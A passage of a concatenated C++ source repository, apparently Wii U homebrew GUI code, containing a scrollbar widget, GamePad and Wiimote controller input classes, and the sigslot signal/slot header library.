arrowUpBtn->setImage(arrowUpImg); arrowUpBtn->setAlignment(ALIGN_CENTER | ALIGN_TOP); arrowUpBtn->setPosition(0, 0); arrowUpBtn->setTrigger(&touchTrigger, 0); arrowUpBtn->setTrigger(&wpadTouchTrigger, 1); arrowUpBtn->setSoundClick(btnSoundClick); arrowUpBtn->setEffectGrow(); arrowUpBtn->clicked.connect(this, &Scrollbar::OnUpButtonClick); arrowDownBtn = new GuiButton(arrowDownImg->getWidth(), arrowDownImg->getHeight()); arrowDownBtn->setParent(this); arrowDownBtn->setImage(arrowDownImg); arrowDownBtn->setAlignment(ALIGN_CENTER | ALIGN_BOTTOM); arrowDownBtn->setPosition(0, 0); arrowDownBtn->setTrigger(&touchTrigger, 0); arrowDownBtn->setTrigger(&wpadTouchTrigger, 1); arrowDownBtn->setSoundClick(btnSoundClick); arrowDownBtn->setEffectGrow(); arrowDownBtn->clicked.connect(this, &Scrollbar::OnDownButtonClick); scrollbarBoxBtn = new GuiButton(scrollbarBoxImg->getWidth(), height); scrollbarBoxBtn->setParent(this); scrollbarBoxBtn->setImage(scrollbarBoxImg); scrollbarBoxBtn->setAlignment(ALIGN_CENTER | ALIGN_TOP); scrollbarBoxBtn->setPosition(0, MaxHeight); scrollbarBoxBtn->setHoldable(true); scrollbarBoxBtn->setTrigger(&touchTrigger, 0); scrollbarBoxBtn->setTrigger(&wpadTouchTrigger, 1); scrollbarBoxBtn->setEffectGrow(); scrollbarBoxBtn->held.connect(this, &Scrollbar::OnBoxButtonHold); } Scrollbar::~Scrollbar() { Resources::RemoveSound(btnSoundClick); Resources::RemoveImageData(scrollbarLine); Resources::RemoveImageData(arrowDown); Resources::RemoveImageData(arrowUp); Resources::RemoveImageData(scrollbarBox); delete arrowUpBtn; delete arrowDownBtn; delete scrollbarBoxBtn; delete scrollbarLineImg; delete arrowDownImg; delete arrowUpImg; delete scrollbarBoxImg; } void Scrollbar::ScrollOneUp() { if(SelItem == 0 && SelInd > 0) { // move list up by 1 --SelInd; } else if(SelInd+SelItem > 0) { --SelItem; } } void Scrollbar::ScrollOneDown() { if(SelInd+SelItem + 1 < EntrieCount) { if(SelItem == PageSize-1) { // move list down by 1 SelInd++; } else { SelItem++; } } } void Scrollbar::OnUpButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(ScrollState < ScrollSpeed) return; ScrollOneUp(); ScrollState = 0; listChanged(SelItem, SelInd); } void Scrollbar::OnDownButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(ScrollState < ScrollSpeed) return; ScrollOneDown(); ScrollState = 0; listChanged(SelItem, SelInd); } void Scrollbar::OnBoxButtonHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(EntrieCount == 0){ return; } if(!controller->data.validPointer){ return; } s32 y = controller->data.y - this->getCenterY(); s32 positionWiimote = LIMIT(y - MinHeight, 0, MaxHeight - MinHeight); s32 newSelected = (EntrieCount - 1) - (s32) ((float) positionWiimote / (float) (MaxHeight-MinHeight) * (float) (EntrieCount-1)); s32 diff = newSelected-SelInd-SelItem; if(newSelected <= 0) { SelItem = 0; SelInd = 0; } else if(newSelected >= EntrieCount-1) { SelItem = (PageSize-1 < EntrieCount-1) ? PageSize-1 : EntrieCount-1; SelInd = EntrieCount-PageSize; } else if(newSelected < PageSize && SelInd == 0 && diff < 0) { SelItem = std::max(SelItem+diff, (s32)0); } else if(EntrieCount-newSelected < PageSize && SelInd == EntrieCount-PageSize && diff > 0) { SelItem = std::min(SelItem+diff, PageSize-1); } else { SelInd = LIMIT(SelInd+diff, 0, ((EntrieCount-PageSize < 0) ? 0 : EntrieCount-PageSize)); } ScrollState = 0; listChanged(SelItem, SelInd); } void Scrollbar::SetPageSize(s32 size) { if(PageSize == size) return; PageSize = size; listChanged(SelItem, SelInd); } void Scrollbar::SetSelectedItem(s32 pos) { if(SelItem == pos) return; SelItem = LIMIT(pos, 0, EntrieCount-1); listChanged(SelItem, SelInd); } void Scrollbar::SetSelectedIndex(s32 pos) { if(SelInd == pos) return; SelInd = pos; listChanged(SelItem, SelInd); } void Scrollbar::SetEntrieCount(s32 cnt) { if(EntrieCount == cnt) return; EntrieCount = cnt; listChanged(SelItem, SelInd); } void Scrollbar::setScrollboxPosition(s32 SelItem, s32 SelInd) { s32 position = MaxHeight-(MaxHeight-MinHeight)*(SelInd+SelItem)/(EntrieCount-1); if(position < MinHeight || (SelInd+SelItem >= EntrieCount-1)) position = MinHeight; else if(position > MaxHeight || (SelInd+SelItem) == 0) position = MaxHeight; scrollbarBoxBtn->setPosition(0, position); } void Scrollbar::draw(CVideo * video) { scrollbarLineImg->draw(video); arrowUpBtn->draw(video); arrowDownBtn->draw(video); scrollbarBoxBtn->draw(video); updateEffects(); } void Scrollbar::update(GuiController * t) { if(this->isStateSet(STATE_DISABLED)) return; arrowUpBtn->update(t); arrowDownBtn->update(t); scrollbarBoxBtn->update(t); ++ScrollState; } ================================================ FILE: src/gui/Scrollbar.h ================================================ /*************************************************************************** * Copyright (C) 2011 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. ***************************************************************************/ #ifndef SCROLLBAR_HPP_ #define SCROLLBAR_HPP_ #include "gui/GuiElement.h" #include "gui/GuiButton.h" class Scrollbar : public GuiElement, public sigslot::has_slots<> { public: Scrollbar(s32 height); virtual ~Scrollbar(); void ScrollOneUp(); void ScrollOneDown(); s32 GetSelectedItem() { return SelItem; } s32 GetSelectedIndex() { return SelInd; } void draw(CVideo * video); void update(GuiController * t); //! Signals sigslot::signal2 listChanged; //! Slots void SetPageSize(s32 size); void SetRowSize(s32 size); void SetSelectedItem(s32 pos); void SetSelectedIndex(s32 pos); void SetEntrieCount(s32 cnt); protected: void setScrollboxPosition(s32 SelItem, s32 SelInd); void OnUpButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnDownButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnBoxButtonHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); u32 ScrollState; u16 ScrollSpeed; s32 MinHeight; s32 MaxHeight; s32 SelItem; s32 SelInd; s32 PageSize; s32 EntrieCount; s32 pressedChan; GuiButton * arrowUpBtn; GuiButton * arrowDownBtn; GuiButton * scrollbarBoxBtn; GuiImage * scrollbarLineImg; GuiImage * arrowDownImg; GuiImage * arrowUpImg; GuiImage * scrollbarBoxImg; GuiImageData * scrollbarLine; GuiImageData * arrowDown; GuiImageData * arrowUp; GuiImageData * scrollbarBox; GuiSound * btnSoundClick; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; }; #endif ================================================ FILE: src/gui/VPadController.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef VPAD_CONTROLLER_H_ #define VPAD_CONTROLLER_H_ #include "GuiController.h" #include "dynamic_libs/vpad_functions.h" class VPadController : public GuiController { public: //!Constructor VPadController(s32 channel) : GuiController(channel) { memset(&vpad, 0, sizeof(vpad)); } //!Destructor virtual ~VPadController() {} bool update(s32 width, s32 height) { lastData = data; s32 vpadError = -1; VPADRead(0, &vpad, 1, &vpadError); if(vpadError == 0){ data.buttons_r = vpad.btns_r; data.buttons_h = vpad.btns_h; data.buttons_d = vpad.btns_d; data.validPointer = !vpad.tpdata.invalid; data.touched = vpad.tpdata.touched; VPADGetTPCalibratedPoint(0, &tpCalib, &vpad.tpdata1); //! calculate the screen offsets data.x = -(width >> 1) + (s32)(((float)tpCalib.x / 1280.0f) * (float)width); data.y = -(height >> 1) + (s32)(float)height - (((float)tpCalib.y / 720.0f) * (float)height); return true; } return false; } private: VPADData vpad; VPADTPData tpCalib; }; #endif ================================================ FILE: src/gui/WPadController.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef WPAD_CONTROLLER_H_ #define WPAD_CONTROLLER_H_ #include "GuiController.h" #include "dynamic_libs/padscore_functions.h" class WPadController : public GuiController { public: //!Constructor WPadController(s32 channel) : GuiController(channel) { memset(&kpadData, 0, sizeof(kpadData)); } //!Destructor virtual ~WPadController() {} u32 remapWiiMoteButtons(u32 buttons) { u32 conv_buttons = 0; if(buttons & WPAD_BUTTON_LEFT) conv_buttons |= GuiTrigger::BUTTON_LEFT; if(buttons & WPAD_BUTTON_RIGHT) conv_buttons |= GuiTrigger::BUTTON_RIGHT; if(buttons & WPAD_BUTTON_DOWN) conv_buttons |= GuiTrigger::BUTTON_DOWN; if(buttons & WPAD_BUTTON_UP) conv_buttons |= GuiTrigger::BUTTON_UP; if(buttons & WPAD_BUTTON_PLUS) conv_buttons |= GuiTrigger::BUTTON_PLUS; if(buttons & WPAD_BUTTON_2) conv_buttons |= GuiTrigger::BUTTON_2; if(buttons & WPAD_BUTTON_1) conv_buttons |= GuiTrigger::BUTTON_1; if(buttons & WPAD_BUTTON_B) conv_buttons |= GuiTrigger::BUTTON_B; if(buttons & WPAD_BUTTON_A) conv_buttons |= GuiTrigger::BUTTON_A; if(buttons & WPAD_BUTTON_MINUS) conv_buttons |= GuiTrigger::BUTTON_MINUS; if(buttons & WPAD_BUTTON_Z) conv_buttons |= GuiTrigger::BUTTON_Z; if(buttons & WPAD_BUTTON_C) conv_buttons |= GuiTrigger::BUTTON_C; if(buttons & WPAD_BUTTON_HOME) conv_buttons |= GuiTrigger::BUTTON_HOME; return conv_buttons; } u32 remapClassicButtons(u32 buttons) { u32 conv_buttons = 0; if(buttons & WPAD_CLASSIC_BUTTON_LEFT) conv_buttons |= GuiTrigger::BUTTON_LEFT; if(buttons & WPAD_CLASSIC_BUTTON_RIGHT) conv_buttons |= GuiTrigger::BUTTON_RIGHT; if(buttons & WPAD_CLASSIC_BUTTON_DOWN) conv_buttons |= GuiTrigger::BUTTON_DOWN; if(buttons & WPAD_CLASSIC_BUTTON_UP) conv_buttons |= GuiTrigger::BUTTON_UP; if(buttons & WPAD_CLASSIC_BUTTON_PLUS) conv_buttons |= GuiTrigger::BUTTON_PLUS; if(buttons & WPAD_CLASSIC_BUTTON_X) conv_buttons |= GuiTrigger::BUTTON_X; if(buttons & WPAD_CLASSIC_BUTTON_Y) conv_buttons |= GuiTrigger::BUTTON_Y; if(buttons & WPAD_CLASSIC_BUTTON_B) conv_buttons |= GuiTrigger::BUTTON_B; if(buttons & WPAD_CLASSIC_BUTTON_A) conv_buttons |= GuiTrigger::BUTTON_A; if(buttons & WPAD_CLASSIC_BUTTON_MINUS) conv_buttons |= GuiTrigger::BUTTON_MINUS; if(buttons & WPAD_CLASSIC_BUTTON_HOME) conv_buttons |= GuiTrigger::BUTTON_HOME; if(buttons & WPAD_CLASSIC_BUTTON_ZR) conv_buttons |= GuiTrigger::BUTTON_ZR; if(buttons & WPAD_CLASSIC_BUTTON_ZL) conv_buttons |= GuiTrigger::BUTTON_ZL; if(buttons & WPAD_CLASSIC_BUTTON_R) conv_buttons |= GuiTrigger::BUTTON_R; if(buttons & WPAD_CLASSIC_BUTTON_L) conv_buttons |= GuiTrigger::BUTTON_L; return conv_buttons; } bool update(s32 width, s32 height) { lastData = data; u32 controller_type; //! check if the controller is connected if(WPADProbe(chanIdx-1, &controller_type) != 0) return false; KPADRead(chanIdx-1, &kpadData, 1); if(kpadData.device_type <= 1) { data.buttons_r = remapWiiMoteButtons(kpadData.btns_r); data.buttons_h = remapWiiMoteButtons(kpadData.btns_h); data.buttons_d = remapWiiMoteButtons(kpadData.btns_d); } else { data.buttons_r = remapClassicButtons(kpadData.classic.btns_r); data.buttons_h = remapClassicButtons(kpadData.classic.btns_h); data.buttons_d = remapClassicButtons(kpadData.classic.btns_d); } data.validPointer = (kpadData.pos_valid == 1 || kpadData.pos_valid == 2) && (kpadData.pos_x >= -1.0f && kpadData.pos_x <= 1.0f) && (kpadData.pos_y >= -1.0f && kpadData.pos_y <= 1.0f); //! calculate the screen offsets if pointer is valid else leave old value if(data.validPointer) { data.x = (width >> 1) * kpadData.pos_x; data.y = (height >> 1) * (-kpadData.pos_y); if(kpadData.angle_y > 0.0f) data.pointerAngle = (-kpadData.angle_x + 1.0f) * 0.5f * 180.0f; else data.pointerAngle = (kpadData.angle_x + 1.0f) * 0.5f * 180.0f - 180.0f; } return true; } private: KPADData kpadData; u32 lastButtons; }; #endif ================================================ FILE: src/gui/sigslot.h ================================================ // sigslot.h: Signal/Slot classes // // Written by Sarah Thompson (sarah@telergy.com) 2002. // // License: Public domain. You are free to use this code however you like, with the proviso that // the author takes on no responsibility or liability for any use. // // QUICK DOCUMENTATION // // (see also the full documentation at http://sigslot.sourceforge.net/) // // #define switches // SIGSLOT_PURE_ISO - Define this to force ISO C++ compliance. This also disables // all of the thread safety support on platforms where it is // available. // // SIGSLOT_USE_POSIX_THREADS - Force use of Posix threads when using a C++ compiler other than // gcc on a platform that supports Posix threads. (When using gcc, // this is the default - use SIGSLOT_PURE_ISO to disable this if // necessary) // // SIGSLOT_DEFAULT_MT_POLICY - Where thread support is enabled, this defaults to multi_threaded_global. // Otherwise, the default is single_threaded. #define this yourself to // override the default. In pure ISO mode, anything other than // single_threaded will cause a compiler error. // // PLATFORM NOTES // // Win32 - On Win32, the WIN32 symbol must be #defined. Most mainstream // compilers do this by default, but you may need to define it // yourself if your build environment is less standard. This causes // the Win32 thread support to be compiled in and used automatically. // // Unix/Linux/BSD, etc. - If you're using gcc, it is assumed that you have Posix threads // available, so they are used automatically. You can override this // (as under Windows) with the SIGSLOT_PURE_ISO switch. If you're using // something other than gcc but still want to use Posix threads, you // need to #define SIGSLOT_USE_POSIX_THREADS. // // ISO C++ - If none of the supported platforms are detected, or if // SIGSLOT_PURE_ISO is defined, all multithreading support is turned off, // along with any code that might cause a pure ISO C++ environment to // complain. Before you ask, gcc -ansi -pedantic won't compile this // library, but gcc -ansi is fine. Pedantic mode seems to throw a lot of // errors that aren't really there. If you feel like investigating this, // please contact the author. // // // THREADING MODES // // single_threaded - Your program is assumed to be single threaded from the point of view // of signal/slot usage (i.e. all objects using signals and slots are // created and destroyed from a single thread). Behaviour if objects are // destroyed concurrently is undefined (i.e. you'll get the occasional // segmentation fault/memory exception). // // multi_threaded_global - Your program is assumed to be multi threaded. Objects using signals and // slots can be safely created and destroyed from any thread, even when // connections exist. In multi_threaded_global mode, this is achieved by a // single global mutex (actually a critical section on Windows because they // are faster). This option uses less OS resources, but results in more // opportunities for contention, possibly resulting in more context switches // than are strictly necessary. // // multi_threaded_local - Behaviour in this mode is essentially the same as multi_threaded_global, // except that each signal, and each object that inherits has_slots, all // have their own mutex/critical section. In practice, this means that // mutex collisions (and hence context switches) only happen if they are // absolutely essential. However, on some platforms, creating a lot of // mutexes can slow down the whole OS, so use this option with care. // // USING THE LIBRARY // // See the full documentation at http://sigslot.sourceforge.net/ // // #ifndef SIGSLOT_H__ #define SIGSLOT_H__ #include #include #define _SIGSLOT_SINGLE_THREADED #ifndef SIGSLOT_DEFAULT_MT_POLICY # ifdef _SIGSLOT_SINGLE_THREADED # define SIGSLOT_DEFAULT_MT_POLICY single_threaded # else # define SIGSLOT_DEFAULT_MT_POLICY multi_threaded_local # endif #endif namespace sigslot { class single_threaded { public: single_threaded() { ; } virtual ~single_threaded() { ; } virtual void lock() { ; } virtual void unlock() { ; } }; #ifdef _SIGSLOT_HAS_WIN32_THREADS // The multi threading policies only get compiled in if they are enabled. class multi_threaded_global { public: multi_threaded_global() { static bool isinitialised = false; if(!isinitialised) { InitializeCriticalSection(get_critsec()); isinitialised = true; } } multi_threaded_global(const multi_threaded_global&) { ; } virtual ~multi_threaded_global() { ; } virtual void lock() { EnterCriticalSection(get_critsec()); } virtual void unlock() { LeaveCriticalSection(get_critsec()); } private: CRITICAL_SECTION* get_critsec() { static CRITICAL_SECTION g_critsec; return &g_critsec; } }; class multi_threaded_local { public: multi_threaded_local() { InitializeCriticalSection(&m_critsec); } multi_threaded_local(const multi_threaded_local&) { InitializeCriticalSection(&m_critsec); } virtual ~multi_threaded_local() { DeleteCriticalSection(&m_critsec); } virtual void lock() { EnterCriticalSection(&m_critsec); } virtual void unlock() { LeaveCriticalSection(&m_critsec); } private: CRITICAL_SECTION m_critsec; }; #endif // _SIGSLOT_HAS_WIN32_THREADS #ifdef _SIGSLOT_HAS_POSIX_THREADS // The multi threading policies only get compiled in if they are enabled. class multi_threaded_global { public: multi_threaded_global() { pthread_mutex_init(get_mutex(), NULL); } multi_threaded_global(const multi_threaded_global&) { ; } virtual ~multi_threaded_global() { ; } virtual void lock() { pthread_mutex_lock(get_mutex()); } virtual void unlock() { pthread_mutex_unlock(get_mutex()); } private: pthread_mutex_t* get_mutex() { static pthread_mutex_t g_mutex; return &g_mutex; } }; class multi_threaded_local { public: multi_threaded_local() { pthread_mutex_init(&m_mutex, NULL); } multi_threaded_local(const multi_threaded_local&) { pthread_mutex_init(&m_mutex, NULL); } virtual ~multi_threaded_local() { pthread_mutex_destroy(&m_mutex); } virtual void lock() { pthread_mutex_lock(&m_mutex); } virtual void unlock() { pthread_mutex_unlock(&m_mutex); } private: pthread_mutex_t m_mutex; }; #endif // _SIGSLOT_HAS_POSIX_THREADS #ifdef _SIGSLOT_HAS_LWP_THREADS class multi_threaded_global { public: multi_threaded_global() { ; } multi_threaded_global(const multi_threaded_global&) { ; } virtual ~multi_threaded_global() { ; } virtual void lock() { ; } virtual void unlock() { ; } }; class multi_threaded_local { public: multi_threaded_local() { ; } multi_threaded_local(const multi_threaded_local&) { ; } virtual ~multi_threaded_local() { } virtual void lock() { ; } virtual void unlock() { ; } }; #endif // _SIGSLOT_HAS_LWP_THREADS template class lock_block { public: mt_policy *m_mutex; lock_block(mt_policy *mtx) : m_mutex(mtx) { m_mutex->lock(); } ~lock_block() { m_mutex->unlock(); } }; template class has_slots; template class _connection_base0 { public: virtual ~_connection_base0() { ; } virtual has_slots* getdest() const = 0; virtual void emit() = 0; virtual _connection_base0* clone() = 0; virtual _connection_base0* duplicate(has_slots* pnewdest) = 0; }; template class _connection_base1 { public: virtual ~_connection_base1() { ; } virtual has_slots* getdest() const = 0; virtual void emit(arg1_type) = 0; virtual _connection_base1* clone() = 0; virtual _connection_base1* duplicate(has_slots* pnewdest) = 0; }; template class _connection_base2 { public: virtual ~_connection_base2() { ; } virtual has_slots* getdest() const = 0; virtual void emit(arg1_type, arg2_type) = 0; virtual _connection_base2* clone() = 0; virtual _connection_base2* duplicate(has_slots* pnewdest) = 0; }; template class _connection_base3 { public: virtual ~_connection_base3() { ; } virtual has_slots* getdest() const = 0; virtual void emit(arg1_type, arg2_type, arg3_type) = 0; virtual _connection_base3* clone() = 0; virtual _connection_base3* duplicate(has_slots* pnewdest) = 0; }; template class _connection_base4 { public: virtual ~_connection_base4() { ; } virtual has_slots* getdest() const = 0; virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type) = 0; virtual _connection_base4* clone() = 0; virtual _connection_base4* duplicate(has_slots* pnewdest) = 0; }; template class _connection_base5 { public: virtual ~_connection_base5() { ; } virtual has_slots* getdest() const = 0; virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type) = 0; virtual _connection_base5* clone() = 0; virtual _connection_base5* duplicate(has_slots* pnewdest) = 0; }; template class _connection_base6 { public: virtual ~_connection_base6() { ; } virtual has_slots* getdest() const = 0; virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type) = 0; virtual _connection_base6* clone() = 0; virtual _connection_base6* duplicate(has_slots* pnewdest) = 0; }; template class _connection_base7 { public: virtual ~_connection_base7() { ; } virtual has_slots* getdest() const = 0; virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type) = 0; virtual _connection_base7* clone() = 0; virtual _connection_base7* duplicate(has_slots* pnewdest) = 0; }; template class _connection_base8 { public: virtual ~_connection_base8() { ; } virtual has_slots* getdest() const = 0; virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type, arg8_type) = 0; virtual _connection_base8* clone() = 0; virtual _connection_base8* duplicate(has_slots* pnewdest) = 0; }; template class _signal_base : public mt_policy { public: virtual void slot_disconnect(has_slots* pslot) = 0; virtual void slot_duplicate(const has_slots* poldslot, has_slots* pnewslot) = 0; }; template class has_slots : public mt_policy { private: typedef typename std::set<_signal_base *> sender_set; typedef typename sender_set::const_iterator const_iterator; public: has_slots() { ; } has_slots(const has_slots& hs) : mt_policy(hs) { lock_block lock(this); const_iterator it = hs.m_senders.begin(); const_iterator itEnd = hs.m_senders.end(); while(it != itEnd) { (*it)->slot_duplicate(&hs, this); m_senders.insert(*it); ++it; } } void signal_connect(_signal_base* sender) { lock_block lock(this); m_senders.insert(sender); } void signal_disconnect(_signal_base* sender) { lock_block lock(this); m_senders.erase(sender); } virtual ~has_slots() { disconnect_all(); } void disconnect_all() { lock_block lock(this); const_iterator it = m_senders.begin(); const_iterator itEnd = m_senders.end(); while(it != itEnd) { (*it)->slot_disconnect(this); ++it; } m_senders.erase(m_senders.begin(), m_senders.end()); } private: sender_set m_senders; }; template class _signal_base0 : public _signal_base { public: typedef typename std::list<_connection_base0 *> connections_list; typedef typename connections_list::const_iterator const_iterator; typedef typename connections_list::iterator iterator; _signal_base0() { ; } _signal_base0(const _signal_base0& s) : _signal_base(s) { lock_block lock(this); const_iterator it = s.m_connected_slots.begin(); const_iterator itEnd = s.m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_connect(this); m_connected_slots.push_back((*it)->clone()); ++it; } } ~_signal_base0() { disconnect_all(); } void disconnect_all() { lock_block lock(this); const_iterator it = m_connected_slots.begin(); const_iterator itEnd = m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_disconnect(this); delete *it; ++it; } m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); } void disconnect(has_slots* pclass) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == pclass) { delete *it; m_connected_slots.erase(it); pclass->signal_disconnect(this); return; } ++it; } } bool connected() { return m_connected_slots.size() != 0; } void slot_disconnect(has_slots* pslot) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { iterator itNext = it; ++itNext; if((*it)->getdest() == pslot) { delete *it; m_connected_slots.erase(it); // delete *it; } it = itNext; } } void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == oldtarget) { m_connected_slots.push_back((*it)->duplicate(newtarget)); } ++it; } } protected: connections_list m_connected_slots; }; template class _signal_base1 : public _signal_base { public: typedef typename std::list<_connection_base1 *> connections_list; typedef typename connections_list::const_iterator const_iterator; typedef typename connections_list::iterator iterator; _signal_base1() { ; } _signal_base1(const _signal_base1& s) : _signal_base(s) { lock_block lock(this); const_iterator it = s.m_connected_slots.begin(); const_iterator itEnd = s.m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_connect(this); m_connected_slots.push_back((*it)->clone()); ++it; } } void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == oldtarget) { m_connected_slots.push_back((*it)->duplicate(newtarget)); } ++it; } } ~_signal_base1() { disconnect_all(); } void disconnect_all() { lock_block lock(this); const_iterator it = m_connected_slots.begin(); const_iterator itEnd = m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_disconnect(this); delete *it; ++it; } m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); } void disconnect(has_slots* pclass) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == pclass) { delete *it; m_connected_slots.erase(it); pclass->signal_disconnect(this); return; } ++it; } } bool connected() { return m_connected_slots.size() != 0; } void slot_disconnect(has_slots* pslot) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { iterator itNext = it; ++itNext; if((*it)->getdest() == pslot) { delete *it; m_connected_slots.erase(it); // delete *it; } it = itNext; } } protected: connections_list m_connected_slots; }; template class _signal_base2 : public _signal_base { public: typedef typename std::list<_connection_base2 *> connections_list; typedef typename connections_list::const_iterator const_iterator; typedef typename connections_list::iterator iterator; _signal_base2() { ; } _signal_base2(const _signal_base2& s) : _signal_base(s) { lock_block lock(this); const_iterator it = s.m_connected_slots.begin(); const_iterator itEnd = s.m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_connect(this); m_connected_slots.push_back((*it)->clone()); ++it; } } void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == oldtarget) { m_connected_slots.push_back((*it)->duplicate(newtarget)); } ++it; } } ~_signal_base2() { disconnect_all(); } void disconnect_all() { lock_block lock(this); const_iterator it = m_connected_slots.begin(); const_iterator itEnd = m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_disconnect(this); delete *it; ++it; } m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); } void disconnect(has_slots* pclass) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == pclass) { delete *it; m_connected_slots.erase(it); pclass->signal_disconnect(this); return; } ++it; } } bool connected() { return m_connected_slots.size() != 0; } void slot_disconnect(has_slots* pslot) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { iterator itNext = it; ++itNext; if((*it)->getdest() == pslot) { delete *it; m_connected_slots.erase(it); // delete *it; } it = itNext; } } protected: connections_list m_connected_slots; }; template class _signal_base3 : public _signal_base { public: typedef std::list<_connection_base3 *> connections_list; typedef typename connections_list::const_iterator const_iterator; typedef typename connections_list::iterator iterator; _signal_base3() { ; } _signal_base3(const _signal_base3& s) : _signal_base(s) { lock_block lock(this); const_iterator it = s.m_connected_slots.begin(); const_iterator itEnd = s.m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_connect(this); m_connected_slots.push_back((*it)->clone()); ++it; } } void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == oldtarget) { m_connected_slots.push_back((*it)->duplicate(newtarget)); } ++it; } } ~_signal_base3() { disconnect_all(); } void disconnect_all() { lock_block lock(this); const_iterator it = m_connected_slots.begin(); const_iterator itEnd = m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_disconnect(this); delete *it; ++it; } m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); } void disconnect(has_slots* pclass) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == pclass) { delete *it; m_connected_slots.erase(it); pclass->signal_disconnect(this); return; } ++it; } } bool connected() { return m_connected_slots.size() != 0; } void slot_disconnect(has_slots* pslot) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { iterator itNext = it; ++itNext; if((*it)->getdest() == pslot) { delete *it; m_connected_slots.erase(it); // delete *it; } it = itNext; } } protected: connections_list m_connected_slots; }; template class _signal_base4 : public _signal_base { public: typedef std::list<_connection_base4 *> connections_list; typedef typename connections_list::const_iterator const_iterator; typedef typename connections_list::iterator iterator; _signal_base4() { ; } _signal_base4(const _signal_base4& s) : _signal_base(s) { lock_block lock(this); const_iterator it = s.m_connected_slots.begin(); const_iterator itEnd = s.m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_connect(this); m_connected_slots.push_back((*it)->clone()); ++it; } } void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) { lock_block lock(this); iterator it = m_connected_slots.begin(); iterator itEnd = m_connected_slots.end(); while(it != itEnd) { if((*it)->getdest() == oldtarget) { m_connected_slots.push_back((*it)->duplicate(newtarget)); } ++it; } } ~_signal_base4() { disconnect_all(); } void disconnect_all() { lock_block lock(this); const_iterator it = m_connected_slots.begin(); const_iterator itEnd = m_connected_slots.end(); while(it != itEnd) { (*it)->getdest()->signal_disconnect(this); delete *it; ++it; } m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); } void disconnect(has_slots* 